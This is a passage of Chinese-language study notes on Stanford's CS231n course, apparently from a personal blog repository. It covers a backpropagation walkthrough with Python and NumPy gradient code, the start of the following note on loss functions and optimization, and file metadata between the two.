ๆ’ญ็š„ไธ€ไธชไพ‹ๅญ๏ผŒ้œ€่ฆๅผบ่ฐƒ็š„ๆ˜ฏ๏ผŒๅฆ‚ๆžœๅฏน$x$ๆˆ–$y$่ฟ›่กŒๅพฎๅˆ†่ฟ็ฎ—๏ผŒ่ฟ็ฎ—็ป“ๆŸๅŽไผšๅพ—ๅˆฐไธ€ไธชๅทจๅคง่€Œๅคๆ‚็š„่กจ่พพๅผใ€‚็„ถ่€Œๅšๅฆ‚ๆญคๅคๆ‚็š„่ฟ็ฎ—ๅฎž้™…ไธŠๅนถๆ— ๅฟ…่ฆ๏ผŒๅ› ไธบๆˆ‘ไปฌไธ้œ€่ฆไธ€ไธชๆ˜Ž็กฎ็š„ๅ‡ฝๆ•ฐๆฅ่ฎก็ฎ—ๆขฏๅบฆ๏ผŒๅช้œ€็Ÿฅ้“ๅฆ‚ไฝ•ไฝฟ็”จๅๅ‘ไผ ๆ’ญ่ฎก็ฎ—ๆขฏๅบฆๅณๅฏใ€‚ไธ‹้ขๆ˜ฏๆž„ๅปบๅ‰ๅ‘ไผ ๆ’ญ็š„ไปฃ็ ๆจกๅผ๏ผš\n\n```python\nx = 3 # ไพ‹ๅญๆ•ฐๅ€ผ\ny = -4\n\n# ๅ‰ๅ‘ไผ ๆ’ญ\nsigy = 1.0 / (1 + math.exp(-y)) # ๅˆ†ๅญไธญ็š„sigmoid #(1)\nnum = x + sigy # ๅˆ†ๅญ #(2)\nsigx = 1.0 / (1 + math.exp(-x)) # ๅˆ†ๆฏไธญ็š„sigmoid #(3)\nxpy = x + y #(4)\nxpysqr = xpy**2 #(5)\nden = sigx + xpysqr # ๅˆ†ๆฏ #(6)\ninvden = 1.0 / den #(7)\nf = num * invden # ๆžๅฎš๏ผ #(8)\n```\n\nโ”—|๏ฝ€Oโ€ฒ|โ”› ๅ—ท~~๏ผŒๅˆฐไบ†่กจ่พพๅผ็š„ๆœ€ๅŽ๏ผŒๅฐฑๅฎŒๆˆไบ†ๅ‰ๅ‘ไผ ๆ’ญใ€‚ๆณจๆ„ๅœจๆž„ๅปบไปฃ็ ๆ—ถๅˆ›ๅปบไบ†ๅคšไธชไธญ้—ดๅ˜้‡๏ผŒๆฏไธช้ƒฝๆ˜ฏๆฏ”่พƒ็ฎ€ๅ•็š„่กจ่พพๅผ๏ผŒๅฎƒไปฌ่ฎก็ฎ—ๅฑ€้ƒจๆขฏๅบฆ็š„ๆ–นๆณ•ๆ˜ฏๅทฒ็Ÿฅ็š„ใ€‚่ฟ™ๆ ท่ฎก็ฎ—ๅๅ‘ไผ ๆ’ญๅฐฑ็ฎ€ๅ•ไบ†๏ผšๆˆ‘ไปฌๅฏนๅ‰ๅ‘ไผ ๆ’ญๆ—ถไบง็”Ÿๆฏไธชๅ˜้‡(**sigy, num, sigx, xpy, xpysqr, den, invden**)่ฟ›่กŒๅ›žไผ ใ€‚ๆˆ‘ไปฌไผšๆœ‰ๅŒๆ ทๆ•ฐ้‡็š„ๅ˜้‡๏ผŒไฝ†ๆ˜ฏ้ƒฝไปฅ**d**ๅผ€ๅคด๏ผŒ็”จๆฅๅญ˜ๅ‚จๅฏนๅบ”ๅ˜้‡็š„ๆขฏๅบฆใ€‚ๆณจๆ„ๅœจๅๅ‘ไผ ๆ’ญ็š„ๆฏไธ€ๅฐๅ—ไธญ้ƒฝๅฐ†ๅŒ…ๅซไบ†่กจ่พพๅผ็š„ๅฑ€้ƒจๆขฏๅบฆ๏ผŒ็„ถๅŽๆ นๆฎไฝฟ็”จ้“พๅผๆณ•ๅˆ™ไน˜ไปฅไธŠๆธธๆขฏๅบฆใ€‚ๅฏนไบŽๆฏ่กŒไปฃ็ ๏ผŒๆˆ‘ไปฌๅฐ†ๆŒ‡ๆ˜Žๅ…ถๅฏนๅบ”็š„ๆ˜ฏๅ‰ๅ‘ไผ ๆ’ญ็š„ๅ“ช้ƒจๅˆ†ใ€‚\n\n```python\n# ๅ›žไผ  f = num * invden\ndnum = invden # ๅˆ†ๅญ็š„ๆขฏๅบฆ #(8)\ndinvden = num #(8)\n# ๅ›žไผ  invden = 1.0 / den \ndden = (-1.0 / (den**2)) * dinvden #(7)\n# ๅ›žไผ  den = sigx + xpysqr\ndsigx = (1) * dden #(6)\ndxpysqr = (1) * dden #(6)\n# ๅ›žไผ  xpysqr = xpy**2\ndxpy = (2 * xpy) * dxpysqr #(5)\n# ๅ›žไผ  xpy = x + y\ndx = (1) * dxpy #(4)\ndy = (1) * dxpy #(4)\n# ๅ›žไผ  sigx = 1.0 / (1 + math.exp(-x))\ndx += ((1 - sigx) * sigx) * dsigx # Notice += !! See notes below #(3)\n# ๅ›žไผ  num = x + sigy\ndx += (1) * dnum #(2)\ndsigy = (1) * dnum #(2)\n# ๅ›žไผ  sigy = 1.0 / (1 + math.exp(-y))\ndy += ((1 - sigy) * sigy) * dsigy #(1)\n# ๅฎŒๆˆ! ๅ—ท~~\n```\n\n้œ€่ฆๆณจๆ„็š„ไธ€ไบ›ไธœ่ฅฟ๏ผš\n\n**ๅฏนๅ‰ๅ‘ไผ ๆ’ญๅ˜้‡่ฟ›่กŒ็ผ“ๅญ˜**๏ผšๅœจ่ฎก็ฎ—ๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒๅ‰ๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญๅพ—ๅˆฐ็š„ไธ€ไบ›ไธญ้—ดๅ˜้‡้žๅธธๆœ‰็”จใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒๆœ€ๅฅฝไปฃ็ ๅฎž็ŽฐๅฏนไบŽ่ฟ™ไบ›ไธญ้—ดๅ˜้‡็š„็ผ“ๅญ˜๏ผŒ่ฟ™ๆ ทๅœจๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™ไนŸ่ƒฝ็”จไธŠๅฎƒไปฌใ€‚ๅฆ‚ๆžœ่ฟ™ๆ ทๅš่ฟ‡ไบŽๅ›ฐ้šพ๏ผŒไนŸๅฏไปฅ๏ผˆไฝ†ๆ˜ฏๆตช่ดน่ฎก็ฎ—่ต„ๆบ๏ผ‰้‡ๆ–ฐ่ฎก็ฎ—ๅฎƒไปฌใ€‚\n\n**ๅœจไธๅŒๅˆ†ๆ”ฏ็š„ๆขฏๅบฆ่ฆ็›ธๅŠ **๏ผšๅฆ‚ๆžœๅ˜้‡x๏ผŒyๅœจๅ‰ๅ‘ไผ ๆ’ญ็š„่กจ่พพๅผไธญๅ‡บ็Žฐๅคšๆฌก๏ผŒ้‚ฃไนˆ่ฟ›่กŒๅๅ‘ไผ ๆ’ญ็š„ๆ—ถๅ€™ๅฐฑ่ฆ้žๅธธๅฐๅฟƒ๏ผŒไฝฟ็”จ**+=**่€Œไธๆ˜ฏ**=**ๆฅ็ดฏ่ฎก่ฟ™ไบ›ๅ˜้‡็š„ๆขฏๅบฆ๏ผˆไธ็„ถๅฐฑไผš้€ ๆˆ่ฆ†ๅ†™๏ผ‰ใ€‚่ฟ™ๆ˜ฏ้ตๅพชไบ†ๅœจๅพฎ็งฏๅˆ†ไธญ็š„*ๅคšๅ…ƒ้“พๅผๆณ•ๅˆ™*๏ผŒ่ฏฅๆณ•ๅˆ™ๆŒ‡ๅ‡บๅฆ‚ๆžœๅ˜้‡ๅœจ็บฟ่ทฏไธญๅˆ†ๆ”ฏ่ตฐๅ‘ไธๅŒ็š„้ƒจๅˆ†๏ผŒ้‚ฃไนˆๆขฏๅบฆๅœจๅ›žไผ ็š„ๆ—ถๅ€™๏ผŒๅฐฑๅบ”่ฏฅ่ฟ›่กŒ็ดฏๅŠ ใ€‚\n\n## ๅ›žไผ ๆตไธญ็š„ๆจกๅผ\n\nไธ€ไธชๆœ‰่ถฃ็š„็Žฐ่ฑกๆ˜ฏๅœจๅคšๆ•ฐๆƒ…ๅ†ตไธ‹๏ผŒๅๅ‘ไผ ๆ’ญไธญ็š„ๆขฏๅบฆๅฏไปฅ่ขซๅพˆ็›ด่ง‚ๅœฐ่งฃ้‡Šใ€‚ไพ‹ๅฆ‚็ฅž็ป็ฝ‘็ปœไธญๆœ€ๅธธ็”จ็š„ๅŠ ๆณ•ใ€ไน˜ๆณ•ๅ’Œๅ–ๆœ€ๅคงๅ€ผ่ฟ™ไธ‰ไธช้—จๅ•ๅ…ƒ๏ผŒๅฎƒไปฌๅœจๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹ไธญ็š„่กŒไธบ้ƒฝๆœ‰้žๅธธ็ฎ€ๅ•็š„่งฃ้‡Šใ€‚ๅ…ˆ็œ‹ไธ‹้ข่ฟ™ไธชไพ‹ๅญ๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/23/5b7d9baac0dc1.png)\n\nไธ€ไธชๅฑ•็คบๅๅ‘ไผ ๆ’ญ็š„ไพ‹ๅญใ€‚<u>ๅŠ ๆณ•ๆ“ไฝœๅฐ†ๆขฏๅบฆ็›ธ็ญ‰ๅœฐๅˆ†ๅ‘็ป™ๅฎƒ็š„่พ“ๅ…ฅ</u>ใ€‚<u>ๅ–ๆœ€ๅคงๆ“ไฝœๅฐ†ๆขฏๅบฆ่ทฏ็”ฑ็ป™ๆ›ดๅคง็š„่พ“ๅ…ฅ</u>ใ€‚<u>ไน˜ๆณ•้—จๆ‹ฟๅ–่พ“ๅ…ฅๆฟ€ๆดปๆ•ฐๆฎ๏ผŒๅฏนๅฎƒไปฌ่ฟ›่กŒไบคๆข๏ผŒ็„ถๅŽไน˜ไปฅๆขฏๅบฆ</u>ใ€‚\n\n---\n\nไปŽไธŠไพ‹ๅฏ็Ÿฅ๏ผš\n\n**ๅŠ ๆณ•้—จๅ•ๅ…ƒ**ๆŠŠ่พ“ๅ‡บ็š„ๆขฏๅบฆ็›ธ็ญ‰ๅœฐๅˆ†ๅ‘็ป™ๅฎƒๆ‰€ๆœ‰็š„่พ“ๅ…ฅ๏ผŒ่ฟ™ไธ€่กŒไธบไธŽ่พ“ๅ…ฅๅ€ผๅœจๅ‰ๅ‘ไผ ๆ’ญๆ—ถ็š„ๅ€ผๆ— ๅ…ณใ€‚่ฟ™ๆ˜ฏๅ› ไธบๅŠ ๆณ•ๆ“ไฝœ็š„ๅฑ€้ƒจๆขฏๅบฆ้ƒฝๆ˜ฏ็ฎ€ๅ•็š„+1๏ผŒๆ‰€ไปฅๆ‰€ๆœ‰่พ“ๅ…ฅ็š„ๆขฏๅบฆๅฎž้™…ไธŠๅฐฑ็ญ‰ไบŽ่พ“ๅ‡บ็š„ๆขฏๅบฆ๏ผŒๅ› ไธบไน˜ไปฅ1.0ไฟๆŒไธๅ˜ใ€‚ไธŠไพ‹ไธญ๏ผŒๅŠ ๆณ•้—จๆŠŠๆขฏๅบฆ2.00ไธๅ˜ไธ”็›ธ็ญ‰ๅœฐ่ทฏ็”ฑ็ป™ไบ†ไธคไธช่พ“ๅ…ฅใ€‚\n\n**ๅ–ๆœ€ๅคงๅ€ผ้—จๅ•ๅ…ƒ**ๅฏนๆขฏๅบฆๅš่ทฏ็”ฑใ€‚ๅ’ŒๅŠ ๆณ•้—จไธๅŒ๏ผŒๅ–ๆœ€ๅคงๅ€ผ้—จๅฐ†ๆขฏๅบฆ่ฝฌ็ป™ๅ…ถไธญไธ€ไธช่พ“ๅ…ฅ๏ผŒ่ฟ™ไธช่พ“ๅ…ฅๆ˜ฏๅœจๅ‰ๅ‘ไผ ๆ’ญไธญๅ€ผๆœ€ๅคง็š„้‚ฃไธช่พ“ๅ…ฅใ€‚่ฟ™ๆ˜ฏๅ› ไธบๅœจๅ–ๆœ€ๅคงๅ€ผ้—จไธญ๏ผŒๆœ€้ซ˜ๅ€ผ็š„ๅฑ€้ƒจๆขฏๅบฆๆ˜ฏ1.0๏ผŒๅ…ถไฝ™็š„ๆ˜ฏ0ใ€‚ไธŠไพ‹ไธญ๏ผŒๅ–ๆœ€ๅคงๅ€ผ้—จๅฐ†ๆขฏๅบฆ2.00่ฝฌ็ป™ไบ†**z**ๅ˜้‡๏ผŒๅ› ไธบ**z**็š„ๅ€ผๆฏ”**w**้ซ˜๏ผŒไบŽๆ˜ฏ**w**็š„ๆขฏๅบฆไฟๆŒไธบ0ใ€‚\n\n**ไน˜ๆณ•้—จๅ•ๅ…ƒ**็›ธๅฏนไธๅฎนๆ˜“่งฃ้‡Šใ€‚ๅฎƒ็š„ๅฑ€้ƒจๆขฏๅบฆๅฐฑๆ˜ฏ่พ“ๅ…ฅๅ€ผ๏ผŒไฝ†ๆ˜ฏๆ˜ฏ็›ธไบ’ไบคๆขไน‹ๅŽ็š„๏ผŒ็„ถๅŽๆ นๆฎ้“พๅผๆณ•ๅˆ™ไน˜ไปฅ่พ“ๅ‡บๅ€ผ็š„ๆขฏๅบฆใ€‚ไธŠไพ‹ไธญ๏ผŒ**x**็š„ๆขฏๅบฆๆ˜ฏ-4.00x2.00=-8.00ใ€‚\n\n*้ž็›ด่ง‚ๅฝฑๅ“ๅŠๅ…ถ็ป“ๆžœ*ใ€‚ๆณจๆ„ไธ€็งๆฏ”่พƒ็‰นๆฎŠ็š„ๆƒ…ๅ†ต๏ผŒๅฆ‚ๆžœไน˜ๆณ•้—จๅ•ๅ…ƒ็š„ๅ…ถไธญไธ€ไธช่พ“ๅ…ฅ้žๅธธๅฐ๏ผŒ่€Œๅฆไธ€ไธช่พ“ๅ…ฅ้žๅธธๅคง๏ผŒ้‚ฃไนˆไน˜ๆณ•้—จ็š„ๆ“ไฝœๅฐ†ไผšไธๆ˜ฏ้‚ฃไนˆ็›ด่ง‚๏ผšๅฎƒๅฐ†ไผšๆŠŠๅคง็š„ๆขฏๅบฆๅˆ†้…็ป™ๅฐ็š„่พ“ๅ…ฅ๏ผŒๆŠŠๅฐ็š„ๆขฏๅบฆๅˆ†้…็ป™ๅคง็š„่พ“ๅ…ฅใ€‚ๅœจ็บฟๆ€งๅˆ†็ฑปๅ™จไธญ๏ผŒๆƒ้‡ๅ’Œ่พ“ๅ…ฅๆ˜ฏ่ฟ›่กŒ็‚น็งฏ$w^Tx_i$๏ผŒ่ฟ™่ฏดๆ˜Ž่พ“ๅ…ฅๆ•ฐๆฎ็š„ๅคงๅฐๅฏนไบŽๆƒ้‡ๆขฏๅบฆ็š„ๅคงๅฐๆœ‰ๅฝฑๅ“ใ€‚ไพ‹ๅฆ‚๏ผŒๅœจ่ฎก็ฎ—่ฟ‡็จ‹ไธญๅฏนๆ‰€ๆœ‰่พ“ๅ…ฅๆ•ฐๆฎๆ ทๆœฌ$x_i$ไน˜ไปฅ1000๏ผŒ้‚ฃไนˆๆƒ้‡็š„ๆขฏๅบฆๅฐ†ไผšๅขžๅคง1000ๅ€๏ผŒ่ฟ™ๆ ทๅฐฑๅฟ…้กป้™ไฝŽๅญฆไน ็Ž‡ๆฅๅผฅ่กฅใ€‚่ฟ™ๅฐฑๆ˜ฏไธบไป€ไนˆๆ•ฐๆฎ้ข„ๅค„็†ๅ…ณ็ณป้‡ๅคง๏ผŒๅฎƒๅณไฝฟๅชๆ˜ฏๆœ‰ๅพฎๅฐๅ˜ๅŒ–๏ผŒไนŸไผšไบง็”Ÿๅทจๅคงๅฝฑๅ“ใ€‚ๅฏนไบŽๆขฏๅบฆๅœจ่ฎก็ฎ—็บฟ่ทฏไธญๆ˜ฏๅฆ‚ไฝ•ๆตๅŠจ็š„ๆœ‰ไธ€ไธช็›ด่ง‚็š„็†่งฃ๏ผŒๅฏไปฅๅธฎๅŠฉ่ฏป่€…่ฐƒ่ฏ•็ฝ‘็ปœใ€‚\n\n## ็”จๅ‘้‡ๅŒ–ๆ“ไฝœ่ฎก็ฎ—ๆขฏๅบฆ\n\nไธŠ่ฟฐๅ†…ๅฎน่€ƒ่™‘็š„้ƒฝๆ˜ฏๅ•ไธชๅ˜้‡ๆƒ…ๅ†ต๏ผŒไฝ†ๆ˜ฏๆ‰€ๆœ‰ๆฆ‚ๅฟต้ƒฝ้€‚็”จไบŽ็Ÿฉ้˜ตๅ’Œๅ‘้‡ๆ“ไฝœใ€‚็„ถ่€Œ๏ผŒๅœจๆ“ไฝœ็š„ๆ—ถๅ€™่ฆๆณจๆ„ๅ…ณๆณจ็ปดๅบฆๅ’Œ่ฝฌ็ฝฎๆ“ไฝœใ€‚\n\n**็Ÿฉ้˜ต็›ธไน˜็š„ๆขฏๅบฆ**๏ผšๅฏ่ƒฝๆœ€ๆœ‰ๆŠ€ๅทง็š„ๆ“ไฝœๆ˜ฏ็Ÿฉ้˜ต็›ธไน˜๏ผˆไนŸ้€‚็”จไบŽ็Ÿฉ้˜ตๅ’Œๅ‘้‡๏ผŒๅ‘้‡ๅ’Œๅ‘้‡็›ธไน˜๏ผ‰็š„ไน˜ๆณ•ๆ“ไฝœ๏ผš\n\n```python\n# ๅ‰ๅ‘ไผ ๆ’ญ\nW = np.random.randn(5, 10)\nX = np.random.randn(10, 3)\nD = W.dot(X)\t# 5*3็š„็Ÿฉ้˜ต\n\n# ๅ‡่ฎพๆˆ‘ไปฌๅพ—ๅˆฐไบ†D็š„ๆขฏๅบฆ\ndD = np.random.randn(*D.shape) # ๅ’ŒDไธ€ๆ ท็š„ๅฐบๅฏธ\ndW = dD.dot(X.T) #.Tๅฐฑๆ˜ฏๅฏน็Ÿฉ้˜ต่ฟ›่กŒ่ฝฌ็ฝฎ\tdWๆ˜ฏ5*10็Ÿฉ้˜ต\ndX = W.T.dot(dD)\t\t\t\t\t# dXๆ˜ฏ10*3็š„็Ÿฉ้˜ต\n```\n\n*ๆ็คบ๏ผš่ฆๅˆ†ๆž็ปดๅบฆ๏ผ*ๆณจๆ„ไธ้œ€่ฆๅŽป่ฎฐๅฟ†**dW**ๅ’Œ**dX**็š„่กจ่พพ๏ผŒๅ› ไธบๅฎƒไปฌๅพˆๅฎนๆ˜“้€š่ฟ‡็ปดๅบฆๆŽจๅฏผๅ‡บๆฅใ€‚ไพ‹ๅฆ‚๏ผŒ<u>ๆƒ้‡็š„ๆขฏๅบฆdW็š„ๅฐบๅฏธ่‚ฏๅฎšๅ’Œๆƒ้‡็Ÿฉ้˜ตW็š„ๅฐบๅฏธๆ˜ฏไธ€ๆ ท็š„</u>๏ผŒ่€Œ่ฟ™ๅˆๆ˜ฏ็”ฑ**X**ๅ’Œ**dD**็š„็Ÿฉ้˜ตไน˜ๆณ•ๅ†ณๅฎš็š„๏ผˆๅœจไธŠ้ข็š„ไพ‹ๅญไธญ**X**ๅ’Œ**W**้ƒฝๆ˜ฏๆ•ฐๅญ—ไธๆ˜ฏ็Ÿฉ้˜ต๏ผ‰ใ€‚ๆ€ปๆœ‰ไธ€ไธชๆ–นๅผๆ˜ฏ่ƒฝๅคŸ่ฎฉ็ปดๅบฆไน‹้—ด่ƒฝๅคŸๅฏน็š„ไธŠ็š„ใ€‚ไพ‹ๅฆ‚๏ผŒ**X**็š„ๅฐบๅฏธๆ˜ฏ[10x3]๏ผŒ**dD**็š„ๅฐบๅฏธๆ˜ฏ[5x3]๏ผŒๅฆ‚ๆžœไฝ ๆƒณ่ฆdWๅ’ŒW็š„ๅฐบๅฏธๆ˜ฏ[5x10]๏ผŒ้‚ฃๅฐฑ่ฆ**dD.dot(X.T)**ใ€‚\n\n**ไฝฟ็”จๅฐ่€Œๅ…ทไฝ“็š„ไพ‹ๅญ**๏ผšๆœ‰ไบ›่ฏป่€…ๅฏ่ƒฝ่ง‰ๅพ—ๅ‘้‡ๅŒ–ๆ“ไฝœ็š„ๆขฏๅบฆ่ฎก็ฎ—ๆฏ”่พƒๅ›ฐ้šพ๏ผŒๅปบ่ฎฎๆ˜ฏๅ†™ๅ‡บไธ€ไธชๅพˆๅฐๅพˆๆ˜Ž็กฎ็š„ๅ‘้‡ๅŒ–ไพ‹ๅญ๏ผŒๅœจ็บธไธŠๆผ”็ฎ—ๆขฏๅบฆ๏ผŒ็„ถๅŽๅฏนๅ…ถไธ€่ˆฌๅŒ–๏ผŒๅพ—ๅˆฐไธ€ไธช้ซ˜ๆ•ˆ็š„ๅ‘้‡ๅŒ–ๆ“ไฝœๅฝขๅผใ€‚\n\n## ๅฐ็ป“\n\n- ๅฏนๆขฏๅบฆ็š„ๅซไน‰ๆœ‰ไบ†็›ด่ง‚็†่งฃ๏ผŒ็Ÿฅ้“ไบ†ๆขฏๅบฆๆ˜ฏๅฆ‚ไฝ•ๅœจ็ฝ‘็ปœไธญๅๅ‘ไผ ๆ’ญ็š„๏ผŒ็Ÿฅ้“ไบ†ๅฎƒไปฌๆ˜ฏๅฆ‚ไฝ•ไธŽ็ฝ‘็ปœ็š„ไธๅŒ้ƒจๅˆ†้€šไฟกๅนถๆŽงๅˆถๅ…ถๅ‡้ซ˜ๆˆ–่€…้™ไฝŽ๏ผŒๅนถไฝฟๅพ—ๆœ€็ปˆ่พ“ๅ‡บๅ€ผๆ›ด้ซ˜็š„ใ€‚\n- ่ฎจ่ฎบไบ†**ๅˆ†ๆฎต่ฎก็ฎ—**ๅœจๅๅ‘ไผ ๆ’ญ็š„ๅฎž็Žฐไธญ็š„้‡่ฆๆ€งใ€‚ๅบ”่ฏฅๅฐ†ๅ‡ฝๆ•ฐๅˆ†ๆˆไธๅŒ็š„ๆจกๅ—๏ผŒ่ฟ™ๆ ท่ฎก็ฎ—ๅฑ€้ƒจๆขฏๅบฆ็›ธๅฏนๅฎนๆ˜“๏ผŒ็„ถๅŽๅŸบไบŽ้“พๅผๆณ•ๅˆ™ๅฐ†ๅ…ถโ€œ้“พโ€่ตทๆฅใ€‚้‡่ฆ็š„ๆ˜ฏ๏ผŒไธ้œ€่ฆๆŠŠ่ฟ™ไบ›่กจ่พพๅผๅ†™ๅœจ็บธไธŠ็„ถๅŽๆผ”็ฎ—ๅฎƒ็š„ๅฎŒๆ•ดๆฑ‚ๅฏผๅ…ฌๅผ๏ผŒๅ› ไธบๅฎž้™…ไธŠๅนถไธ้œ€่ฆๅ…ณไบŽ่พ“ๅ…ฅๅ˜้‡็š„ๆขฏๅบฆ็š„ๆ•ฐๅญฆๅ…ฌๅผใ€‚ๅช้œ€่ฆๅฐ†่กจ่พพๅผๅˆ†ๆˆไธๅŒ็š„ๅฏไปฅๆฑ‚ๅฏผ็š„ๆจกๅ—๏ผˆๆจกๅ—ๅฏไปฅๆ˜ฏ็Ÿฉ้˜ตๅ‘้‡็š„ไน˜ๆณ•ๆ“ไฝœ๏ผŒๆˆ–่€…ๅ–ๆœ€ๅคงๅ€ผๆ“ไฝœ๏ผŒๆˆ–่€…ๅŠ ๆณ•ๆ“ไฝœ็ญ‰๏ผ‰๏ผŒ็„ถๅŽๅœจๅๅ‘ไผ ๆ’ญไธญไธ€ๆญฅไธ€ๆญฅๅœฐ่ฎก็ฎ—ๆขฏๅบฆใ€‚\n\nๅœจไธ‹่Š‚่ฏพไธญ๏ผŒๅฐ†ไผšๅผ€ๅง‹ๅฎšไน‰็ฅž็ป็ฝ‘็ปœ๏ผŒ่€Œๅๅ‘ไผ ๆ’ญไฝฟๆˆ‘ไปฌ่ƒฝ้ซ˜ๆ•ˆ่ฎก็ฎ—็ฅž็ป็ฝ‘็ปœๅ„ไธช่Š‚็‚นๅ…ณไบŽๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌ็Žฐๅœจๅทฒ็ปๅ‡†ๅค‡ๅฅฝ่ฎญ็ปƒ็ฅž็ป็ฝ‘็ปœไบ†๏ผŒๆœฌ่ฏพ็จ‹ๆœ€ๅ›ฐ้šพ็š„้ƒจๅˆ†ๅทฒ็ป่ฟ‡ๅŽปไบ†๏ผConvNets็›ธๆฏ”ๅชๆ˜ฏๅ‘ๅ‰่ตฐไบ†ไธ€ๅฐๆญฅใ€‚\n\n## ๅ‚่€ƒๆ–‡็Œฎ\n\n- [Automatic differentiation in machine learning: a survey](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1502.05767)\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_backprop_notes.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6773136854171753, "alphanum_fraction": 0.7023516893386841, "avg_line_length": 24.66967010498047, "blob_id": "05b1e31d40325daa04a119c14668e2655cb8923d", "content_id": "a2d88e569ebe9aca8a8015680f6b07de9b5d737b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 13731, "license_type": "no_license", "max_line_length": 394, "num_lines": 333, "path": "/blog/cs231n/cs231n_3.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.3\ndate: 2018-08-20\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=7)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 3. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [linear classification notes](http://cs231n.github.io/linear-classify)๏ผˆ[ไธญ่ฏ‘็‰ˆ](./CS231n_linear_classification_note.html)๏ผ‰\n> - [optimization notes](http://cs231n.github.io/optimization-1)๏ผˆ[ไธญ่ฏ‘็‰ˆ](./CS231n_optimization_note.html)๏ผ‰\n\n\n\n# Lecture 3. Loss Functions and Optimization\n\nไน‹ๅ‰็š„ๅ†…ๅฎนๅทฒ็ป่ฎฒไบ†ๅฆ‚ไฝ•ๅฏนๆฏไธชๆ ทๆœฌๅ›พ็‰‡่ฟ›่กŒ็บฟๆ€งๅ‚ๆ•ฐๅŒ–่ฎก็ฎ—๏ผŒๆœ€ๅŽ่ฎฉๆฏไธชๆ ทๆœฌๅ›พ็‰‡ๅœจๅ„ไธชๅˆ†็ฑปไธŠ้ƒฝๆœ‰ไธ€ไธชๅพ—ๅˆ†๏ผˆๆ•ฐๅญ—๏ผ‰ใ€‚้‚ฃไนˆๅฆ‚ไฝ•ไฝฟๆฏไธ€ไธชๆ ทๆœฌ็š„ๅพ—ๅˆ†็ป“ๆžœๆ˜ฏๆญฃ็กฎ็š„๏ผŒๅนถไธ”่ฆๆ›ดๅŠ ๆญฃ็กฎๅ‘ข๏ผŸ่ฟ™ๆ—ถๅ€™ๅฐฑ้œ€่ฆๅฎšไน‰**ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผˆloss function๏ผ‰** ๆฅ้‡ๅŒ–ๅพ—ๅˆ†็ฉถ็ซŸๆœ‰ๅคšไนˆ็š„ๆญฃ็กฎ๏ผŒไปฅๅŠ่‡ชๅŠจๅฏปๆ‰พๆœ€ไฝณ็š„ๅ‚ๆ•ฐไฝฟๅพ—ๆŸๅคฑๅ‡ฝๆ•ฐ็š„็ป“ๆžœๆžๅ€ผๅŒ–็š„่ฟ‡็จ‹ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„**ไผ˜ๅŒ–๏ผˆoptimization๏ผ‰**ใ€‚\n\nๅฐๅ“ฅ่ฏดไบ†ไธ€ๅฅ่‹ฑๆ–‡่ฎฉๆˆ‘ๆ„Ÿ่ง‰ๅพˆๅธ…๏ผŒ้ป˜้ป˜็š„ๆŠ„ไธ‹ๆฅไปฅๅŽ่‡ชๅทฑไนŸๅฏไปฅ็”จๅพ—ไธŠ๏ผš\n\n> ![](https://i.loli.net/2018/08/20/5b799ebf4cf80.png)\n>\n> So this loss function has kind of a funny functional form, so we'll walk through it in a bit more, in quite a bit of detail over the next couple of slides.\n>\n> ้‚ฃไนˆๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆ ทๅญ่ฟ˜่›ฎๆœ‰ๆ„ๆ€็š„๏ผŒๆˆ‘ไปฌ็จๅพฎ่ดน็‚นๅฟƒๆ€ๆฅ็œ‹็œ‹๏ผŒๆŽฅไธ‹ๆฅๅ‡ ๅผ ๅนป็ฏ็‰‡้‡Œ่ฏธๅคš็ป†่Š‚ใ€‚\n\nๅพˆๅฟซๅฐๅ“ฅ่ฎฒไบ†ไธ€ไธช SVM ็š„ๅคšๅˆ†็ฑปๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒไผๅ›พ็”จ็ปๅ…ธๆœบๅ™จๅญฆไน 